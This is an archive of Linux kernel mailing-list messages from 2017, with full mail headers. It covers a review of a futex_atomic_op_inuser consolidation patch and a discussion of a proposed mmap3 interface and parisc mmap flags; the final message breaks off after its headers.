        id D5AEF1AE356E; Thu, 24 Aug 2017 10:47:56 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20170824073105.3901-1-jslaby@suse.cz>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:26411 gmane.linux.kernel:2556492 gmane.linux.ports.alpha:4373 gmane.linux.kernel.arc:2864 gmane.linux.ports.arm.kernel:599929 gmane.linux.ports.hexagon:1373 gmane.linux.ports.ia64:28082 gmane.linux.ports.mips.general:61008 gmane.linux.ports.parisc:27752 gmane.linux.ports.ppc64.devel:146957 gmane.linux.ports.sh.devel:55744 gmane.linux.kernel.cross-arch:39009
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/26411>

Hi Jiri,

On Thu, Aug 24, 2017 at 09:31:05AM +0200, Jiri Slaby wrote:
> There is code duplicated over all architecture's headers for
> futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
> and comparison of the result.
> 
> Remove this duplication and leave up to the arches only the needed
> assembly which is now in arch_futex_atomic_op_inuser.
> 
> This effectively distributes the Will Deacon's arm64 fix for undefined
> behaviour reported by UBSAN to all architectures. The fix was done in
> commit 5f16a046f8e1 (arm64: futex: Fix undefined behaviour with
> FUTEX_OP_OPARG_SHIFT usage). Look there for an example dump.
> 
> And as suggested by Thomas, check for negative oparg too, because it was
> also reported to cause undefined behaviour report.
> 
> Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
> remove pointless access_ok() checks") as access_ok there returns true.
> We introduce it back to the helper for the sake of simplicity (it gets
> optimized away anyway).

For arm64 and the core code:

Reviewed-by: Will Deacon <will.deacon@arm.com>

Although one minor thing on the core part:

> diff --git a/kernel/futex.c b/kernel/futex.c
> index 0939255fc750..3d38eaf05492 100644
> --- a/kernel/futex.c
> +++ b/kernel/futex.c
> @@ -1551,6 +1551,45 @@ futex_wake(u32 __user *uaddr, unsigned int flags, int nr_wake, u32 bitset)
>  	return ret;
>  }
>  
> +static int futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
> +{
> +	unsigned int op =	  (encoded_op & 0x70000000) >> 28;
> +	unsigned int cmp =	  (encoded_op & 0x0f000000) >> 24;
> +	int oparg = sign_extend32((encoded_op & 0x00fff000) >> 12, 12);
> +	int cmparg = sign_extend32(encoded_op & 0x00000fff, 12);
> +	int oldval, ret;
> +
> +	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28)) {
> +		if (oparg < 0 || oparg > 31)
> +			return -EINVAL;
> +		oparg = 1 << oparg;
> +	}
> +
> +	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
> +		return -EFAULT;
> +
> +	ret = arch_futex_atomic_op_inuser(op, oparg, &oldval, uaddr);
> +	if (ret)
> +		return ret;

We could move the pagefault_{disable,enable} calls here, and then remove
them from the futex_atomic_op_inuser callsites elsewhere in futex.c

Will
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.hardware.nvdimm,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: Re: [PATCH v6 3/5] mm: introduce mmap3 for safely defining new mmap
 flags
Date: Fri, 25 Aug 2017 09:02:36 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20170825160236.GA2561@infradead.org>
References: <150353211413.5039.5228914877418362329.stgit@dwillia2-desk3.amr.corp.intel.com>
 <150353213097.5039.6729469069608762658.stgit@dwillia2-desk3.amr.corp.intel.com>
 <20170824165546.GA3121@infradead.org>
 <CAPcyv4iN0QpUSgOUvisnNQsiV1Pp=4dh7CwAV8FFj=_rFU=aug@mail.gmail.com>
 <20170825130011.GA30072@infradead.org>
 <20170825155803.4km7wttzadfqw2vb@node.shutemov.name>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503676978 9901 195.159.176.226 (25 Aug 2017 16:02:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 25 Aug 2017 16:02:58 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: Christoph Hellwig <hch@infradead.org>,
	Dan Williams <dan.j.williams@intel.com>,
	Andrew Morton <akpm@linux-foundation.org>, Jan Kara <jack@suse.cz>,
	Arnd Bergmann <arnd@arndb.de>,
	"linux-nvdimm@lists.01.org" <linux-nvdimm@lists.01.org>,
	Linux API <linux-api@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-xfs@vger.kernel.org, Linux MM <linux-mm@kvack.org>,
	Andy Lutomirski <luto@kernel.org>,
	linux-fsdevel <linux-fsdevel@vger.kernel.org>,
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-parisc@vger.kernel.org
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: owner-linux-mm@kvack.org Fri Aug 25 18:02:52 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1dlH4C-0001k3-J6
	for glkm-linux-mm-2@m.gmane.org; Fri, 25 Aug 2017 18:02:40 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id E461F6810C2; Fri, 25 Aug 2017 12:02:46 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id DF5796810B7; Fri, 25 Aug 2017 12:02:46 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id C97776810C2; Fri, 25 Aug 2017 12:02:46 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pg0-f72.google.com (mail-pg0-f72.google.com [74.125.83.72])
	by kanga.kvack.org (Postfix) with ESMTP id 881F36810B7
	for <linux-mm@kvack.org>; Fri, 25 Aug 2017 12:02:46 -0400 (EDT)
Original-Received: by mail-pg0-f72.google.com with SMTP id 83so1466452pgb.1
        for <linux-mm@kvack.org>; Fri, 25 Aug 2017 09:02:46 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-disposition:in-reply-to
         :user-agent;
        bh=cmld66jw2QqYDrokZq4779KO4Y1KWgjuSEDySSOiMHg=;
        b=DkkViuNZCRiJGjWntMC1pvczEklocX006fm2QYsG4zUxau2U9yBvxfeE8qZhss1jk0
         HCFRDM1vILP0o6Y4GxTxRzLVP88C4rCoeRaR4eB2qM3pPitawOj3sJpmwCz9ClOwq3bI
         G3Wj69R6DlDQSZrGKeR/M6hmafiQut7JyCaQpYmn9g2xVWQai/TX9cRF14ERCZr5uhhd
         V2CKVR2+dNqqlr8rP4MMvCIVw9O0RCbeqVlKLgn/w/gCjNaHKy2s/sUeOvkmx1KUiEZ8
         5YY0LpO3R0OlCSELPGMP34TC47HBh/aEW8F961HcHg6x2uPCuukznhMRbyrAEEAoYfAz
         s0Uw==
X-Gm-Message-State: AHYfb5hjsQscGYxl6GvhB6Sl5RQsef8BNrp/LQbH+ahx57dFXQQt7CjV
	qLvElpeQwbbgCGOwGeNwpoQfCysLXxWakYODtIdRc7nRM8OAvgTSLd/b4i2wQzYPrKddkTughM4
	2I5AufGhL9FmJvnhs+kAeEGOIHhZrhjmndLyXVsn2Hd0zp0H324LLOiTn
X-Received: by 10.84.136.131 with SMTP id 3mr11284762pll.149.1503676966255;
        Fri, 25 Aug 2017 09:02:46 -0700 (PDT)
X-Received: by 10.84.136.131 with SMTP id 3mr11284721pll.149.1503676965484;
        Fri, 25 Aug 2017 09:02:45 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1503676965; cv=none;
        d=google.com; s=arc-20160816;
        b=RyYcOoqfb1EKyAMAcr34DluRIB4eKnESBkbiyQPWIsGNvWxsteFuHbRmAIomoJK323
         8ByKab6aF9zSekxTgCpoG49dI+S8ei35fMSn7L+oup0xtSHm0dL+PRYKX89QZ3DOz+Fw
         aQosWJ0N3pHbMWsDP7t78yVFXpDKnTyPJ6chPDKTUBbj4OI6dJnaHvzbhRU1sYxO6Zl7
         bd1XfirOuRLeQlYdHMwRgQL5D9hlZyQvSkTVLsOvz/me+XOjSEwA1kI2AkqIqrc+DbAR
         Gz8EtNA+gMP5gECRSLLF9BJneXoyDLjyYal8O5A0jTVlWwWUiaQy9V4bazk3QU6CUeE2
         080w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=user-agent:in-reply-to:content-disposition:mime-version:references
         :message-id:subject:cc:to:from:date:dkim-signature
         :arc-authentication-results;
        bh=cmld66jw2QqYDrokZq4779KO4Y1KWgjuSEDySSOiMHg=;
        b=NbEfIysXBTaLLT09TwTxQn3RqxRczJU7XPrGerFz7o6g+hnCNd4qo1vBsvNLDDeOgC
         2nSJcXBicihbtePlZ6sLVqhjx5zaUO6gaHLHtSz0sYhDwnWcobel4OmtxyiMnukd+nTc
         I8uQezwmtEhmx/buA3E1sKWMYAozAJ3hUm2CDVy1uWKAZhS7TQNUcSdhlufM0SDNGNDw
         cKCVd7rV+aD2x7GzcvKpIOPJ4bLnL/aYewtJbArOAzUyQryihvBekByU1xa9ZhrDQwDz
         dDMUWG/u67yG1JWR+XOCgsDbBHEJCMfXGqJ7O8+Jv9QJhl8XCbdmEhuIpRaK+XNj8kss
         6Zxw==
ARC-Authentication-Results: i=1; mx.google.com;
       dkim=pass header.i=@infradead.org header.s=bombadil.20170209 header.b=hij+/xUE;
       spf=pass (google.com: best guess record for domain of batv+28109c3b3a6592123617+5115+infradead.org+hch@bombadil.srs.infradead.org designates 65.50.211.133 as permitted sender) smtp.mailfrom=BATV+28109c3b3a6592123617+5115+infradead.org+hch@bombadil.srs.infradead.org
Original-Received: from bombadil.infradead.org (bombadil.infradead.org. [65.50.211.133])
        by mx.google.com with ESMTPS id f3si4897197pgn.632.2017.08.25.09.02.45
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 25 Aug 2017 09:02:45 -0700 (PDT)
Received-SPF: pass (google.com: best guess record for domain of batv+28109c3b3a6592123617+5115+infradead.org+hch@bombadil.srs.infradead.org designates 65.50.211.133 as permitted sender) client-ip=65.50.211.133;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@infradead.org header.s=bombadil.20170209 header.b=hij+/xUE;
       spf=pass (google.com: best guess record for domain of batv+28109c3b3a6592123617+5115+infradead.org+hch@bombadil.srs.infradead.org designates 65.50.211.133 as permitted sender) smtp.mailfrom=BATV+28109c3b3a6592123617+5115+infradead.org+hch@bombadil.srs.infradead.org
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209; h=In-Reply-To:Content-Type:MIME-Version
	:References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	 bh=cmld66jw2QqYDrokZq4779KO4Y1KWgjuSEDySSOiMHg=; b=hij+/xUELIqQ8ph/0k7PrHoSB
	b3dYKqFRA0sHs2VOKwrO8EU4wrWMl6oxeIgkZK3FC83ioHqdOXH3GGjxktxoTLTE3kssheOd6wjS7
	ayKCkoRiWbc6BC3snACm+Gt+BUOiIBjVrbYJaqY51h6swItfSeWE6Qz5zMYc2a+u2+NliN/pcC9Yd
	rcl0028YCWkC3cXrj7wFVyGsfErQDBc6PWzOAGJoh4JTi71ksL3nWo2Sd9abMrDyAXW0iNNxHYHtB
	hpqwfj/VV+pAYA30zqcHWvU7Jrre75kKUBz0bquud6kGDedzO65W7aAGiQVbVPvsn0F87TRn21BRZ
	JXFAXtrnw==;
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.87 #1 (Red Hat Linux))
	id 1dlH48-0005Kb-WC; Fri, 25 Aug 2017 16:02:37 +0000
Content-Disposition: inline
In-Reply-To: <20170825155803.4km7wttzadfqw2vb@node.shutemov.name>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:178648 gmane.linux.hardware.nvdimm:6083 gmane.linux.kernel.api:24572 gmane.linux.kernel:2557700 gmane.linux.file-systems:125872 gmane.linux.ports.parisc:27753
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/178648>

On Fri, Aug 25, 2017 at 06:58:03PM +0300, Kirill A. Shutemov wrote:
> Not all archs are ready for this:
> 
> arch/parisc/include/uapi/asm/mman.h:#define MAP_TYPE    0x03            /* Mask for type of mapping */
> arch/parisc/include/uapi/asm/mman.h:#define MAP_FIXED   0x04            /* Interpret addr exactly */

I'd be happy to say that we should not care about parisc for
persistent memory.  We'll just have to find a way to exclude
parisc without making life too ugly.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.hardware.nvdimm,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.file-systems
Subject: Re: [PATCH v6 3/5] mm: introduce mmap3 for safely defining new mmap
 flags
Date: Fri, 25 Aug 2017 19:16:07 +0300
Lines: 24
Approved: news@gmane.org
Message-ID: <20170825161607.6v6beg4zjktllt2z@node.shutemov.name>
References: <150353211413.5039.5228914877418362329.stgit@dwillia2-desk3.amr.corp.intel.com>
 <150353213097.5039.6729469069608762658.stgit@dwillia2-desk3.amr.corp.intel.com>
 <20170824165546.GA3121@infradead.org>
 <CAPcyv4iN0QpUSgOUvisnNQsiV1Pp=4dh7CwAV8FFj=_rFU=aug@mail.gmail.com>
 <20170825130011.GA30072@infradead.org>
 <20170825155803.4km7wttzadfqw2vb@node.shutemov.name>
 <20170825160236.GA2561@infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503677777 28177 195.159.176.226 (25 Aug 2017 16:16:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 25 Aug 2017 16:16:17 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Dan Williams <dan.j.williams@intel.com>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jan Kara <jack@suse.cz>, Arnd Bergmann <arnd@arndb.de>,
        "linux-nvdimm@lists.01.org" <linux-nvdimm@lists.01.org>,
        Linux API <linux-api@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        linux-xfs@vger.kernel.org, Linux MM <linux-mm@kvack.org>,
        Andy Lutomirski <luto@kernel.org>,
        linux-fsdevel <linux-fsdevel@vger.kernel.org>,
        "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
        linux-parisc@vger.kernel.org
To: Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 25 18:16:11 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dlHHA-0004CT-LZ
	for glpp-linux-parisc@m.gmane.org; Fri, 25 Aug 2017 18:16:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934280AbdHYQQL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 25 Aug 2017 12:16:11 -0400
Original-Received: from mail-wm0-f66.google.com ([74.125.82.66]:38255 "EHLO
        mail-wm0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934184AbdHYQQK (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 25 Aug 2017 12:16:10 -0400
Original-Received: by mail-wm0-f66.google.com with SMTP id z132so237266wmg.5
        for <linux-parisc@vger.kernel.org>; Fri, 25 Aug 2017 09:16:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=shutemov-name.20150623.gappssmtp.com; s=20150623;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=eZyojhw2Oi8OeZmWH8T/YxPZkKC1hIwrfqd/KvXPOGc=;
        b=ujj0f9XqO39xQRJOw4cE3ArE3+7/SEAKonhNwhU2P0trAjCfQEkGNyofm5vr+LEKbA
         /MeAY6poe7DH9tqbUAG6TAKLWz2UlWeecag56C75/wORt6VwrXxvFaC8Co3KqXer17ow
         OiN5OvCF5ksjdpt/xsbSNESiZzE3YxqWeZ54XkOWRNvOOROLLQa55PXEnK0r8wjV8kcH
         Xb7zNIc0qRiRS1TK2K0BsUyUVFIKlEGp4Am4VssW5dI6kBLXREBczl9pSTQZd+F2ya1t
         Zzt3xjXUL51EwCVxEOaQYeJYHtP1/JiSFWrHCK3g+DlrUIWkeMOR+nP1j75H2Pu9Ws3A
         E4UA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=eZyojhw2Oi8OeZmWH8T/YxPZkKC1hIwrfqd/KvXPOGc=;
        b=YW6PyWvzwFLvmvPBex9TC/Cm2CBU5/A5YMDxNH6S6a9mn9blKUxIt7+RLoqsiIhL7I
         vx+9A8Qj6+qLU78vggZ7PU0vE583U1NmjRvV8JlgrUh4CtyM9Gtj0brDj/eUcxnAQrWZ
         Pepe5M+k+tgmIvGsyh6RB87C1p22HOlA0ca+N+1V2AcEHQMWuW3aYoxBLTtWPMvW/2Ma
         OhSn0riQi0y13kkdloGnjzIVE/GnTd0zh32qoFR4U8ubCLjGMhV4+Swhcmq9viWTXLjW
         Bfj3t6K995G2ai7d3onnnuYH6EoKffHx3Z2GdTR4Imr3H32L/eqcunrk4mTqyGrWl2T2
         fJrg==
X-Gm-Message-State: AHYfb5jwCSUOjOn9qhkpBVzkfcRswD0nzWRCeuzauoQt+VoF7ExFBgSL
        djKrzg5QQNSqGypn
X-Received: by 10.80.134.9 with SMTP id o9mr9885726edo.175.1503677769053;
        Fri, 25 Aug 2017 09:16:09 -0700 (PDT)
Original-Received: from node.shutemov.name ([178.121.234.228])
        by smtp.gmail.com with ESMTPSA id 6sm3637135ede.81.2017.08.25.09.16.08
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 25 Aug 2017 09:16:08 -0700 (PDT)
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
        id 80651648D520; Fri, 25 Aug 2017 19:16:07 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <20170825160236.GA2561@infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27754 gmane.linux.hardware.nvdimm:6084 gmane.linux.kernel.api:24573 gmane.linux.kernel:2557715 gmane.linux.kernel.mm:178649 gmane.linux.file-systems:125873
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27754>

On Fri, Aug 25, 2017 at 09:02:36AM -0700, Christoph Hellwig wrote:
> On Fri, Aug 25, 2017 at 06:58:03PM +0300, Kirill A. Shutemov wrote:
> > Not all archs are ready for this:
> > 
> > arch/parisc/include/uapi/asm/mman.h:#define MAP_TYPE    0x03            /* Mask for type of mapping */
> > arch/parisc/include/uapi/asm/mman.h:#define MAP_FIXED   0x04            /* Interpret addr exactly */
> 
> I'd be happy to say that we should not care about parisc for
> persistent memory.  We'll just have to find a way to exclude
> parisc without making life too ugly.

I don't think creapling mmap() interface for one arch is the right way to
go. I think the interface should be universal.

I may imagine MAP_DIRECT can be useful not only for persistent memory.
For tmpfs instead of mlock()?

-- 
 Kirill A. Shutemov
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.file-systems
Subject: Re: [PATCH v6 3/5] mm: introduce mmap3 for safely defining new mmap
 flags
Date: Fri, 25 Aug 2017 18:19:19 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <4de21e8d-5e10-ec40-c731-0c079953cf48@gmx.de>
References: <150353211413.5039.5228914877418362329.stgit@dwillia2-desk3.amr.corp.intel.com>
 <150353213097.5039.6729469069608762658.stgit@dwillia2-desk3.amr.corp.intel.com>
 <20170824165546.GA3121@infradead.org>
 <CAPcyv4iN0QpUSgOUvisnNQsiV1Pp=4dh7CwAV8FFj=_rFU=aug@mail.gmail.com>
 <20170825130011.GA30072@infradead.org>
 <20170825155803.4km7wttzadfqw2vb@node.shutemov.name>
 <20170825160236.GA2561@infradead.org>
 <20170825161607.6v6beg4zjktllt2z@node.shutemov.name>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503677984 1275 195.159.176.226 (25 Aug 2017 16:19:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 25 Aug 2017 16:19:44 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: Jan Kara <jack-AlSwsSmVLrQ@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
 "linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org" <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>,
 Linux API <linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 "linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 linux-xfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Linux MM <linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org>,
 Andy Lutomirski <luto-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
 linux-fsdevel <linux-fsdevel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
 "Kirill A. Shutemov" <kirill.shutemov-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>
To: "Kirill A. Shutemov" <kirill-oKw7cIdHH8eLwutG50LtGA@public.gmane.org>,
 Christoph Hellwig <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Fri Aug 25 18:19:38 2017
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1dlHKa-0008Ia-5b
	for gln-linux-nvdimm@m.gmane.org; Fri, 25 Aug 2017 18:19:36 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 3373721E79014;
	Fri, 25 Aug 2017 09:17:06 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.17.21])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 676C12095DB90
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Fri, 25 Aug 2017 09:17:04 -0700 (PDT)
Original-Received: from [192.168.20.60] ([193.159.28.23]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M6O1v-1dbBIW1xrX-00yOMY; Fri, 25
 Aug 2017 18:19:23 +0200
In-Reply-To: <20170825161607.6v6beg4zjktllt2z-sVvlyX1904swdBt8bTSxpkEMvNT87kid@public.gmane.org>
Content-Language: en-US
X-Provags-ID: V03:K0:afa3JpuF8EX+3h6ij7QdyittGPXUiChVLyJFL2MUotae28GBHPZ
 r1lgFMpabGWWGJr42yflRRQ6jzLE4kppEWPIRSQy8f+Ib1QSK1R+VPmRblaC8zJgGoXLnIf
 c8ClLdvQnVw9GC+RdgIRCi4Z+Xsmts6jNg1OW75GKPxXhrwBZVtcnwa+owUaabHrkR+5wqD
 xKnlpnY7z+v8HNsj6xnPQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:CE5K5yuAmN4=:KckBJFI/WusBhi2Pqgj36R
 An7uLOrmjDYxtYVgTiV7JeJJEb49od2ZU8hoZptbLfB9YWv6K0BIlTYoLwXG7AKaQUu4r/vyt
 3P2yTgvAFc1pMtKJI5BHzCDTtwAzQaOTVVXumn6Xni/iU7nB0QHMVm0ipDvHpkznXOvV4pcZI
 1XbjQomW2SQpiXr4V6GOfgHlZxQsKSXzxUIcBJIp3KgNPbRSCr0RqZOH49bx1qNWtLkp/+Azx
 6CGs3qfhSJhwZahyLodQfP+JBCaIUxqDkmpUdX++hcExBlw3fD5l9lXn/iXv+w4PgXrWbo+Bn
 P/A3FpWQXyzaCKuhm4CQk9D1KrADody+6juRqaNwGDSd4wmj6wyLc8sL1l/7kTQFtcAZUCPKz
 /zXabS9wtT2wleEDY7lGAXCd+NuYgsCoXAxSLBBKYHlUAJjfN1VnbzFlOnAe4Tw/RUoTus4sz
 3xfqvr8Hx/2ajhzf4RL/BLeIZaZ34JYwIAFwuutHJTIY0wOv6gG7zZ2ZT9WwXWZXjY4O1vCG+
 kjbmTwGYLtaLIG8kS/bobMPDdBePWGmqdH03ihMP09MIIL3DFDkuy07MOP3oXwxk/t3IePBsA
 H7TCPrybMYYWS3mzk4rCI0HWdaYXIGhwHxCSJJiZotLyoNrGN8DD2cwInpw6SlYJ7KoY1eNPQ
 GmNrS7bSnUtQTEC/rmeZMIQPW/wBNc/n6jThupI2CNQnaw4IE3hwT8JsEpvmAJ54BFgVJsZDr
 8ujGURNEmYCJodPKrDWdVP2AIDNRrKzBrHJA3xT+XD+N8szmstGeHeWKh+1KNpk8/awQ/j+p 
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.22
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
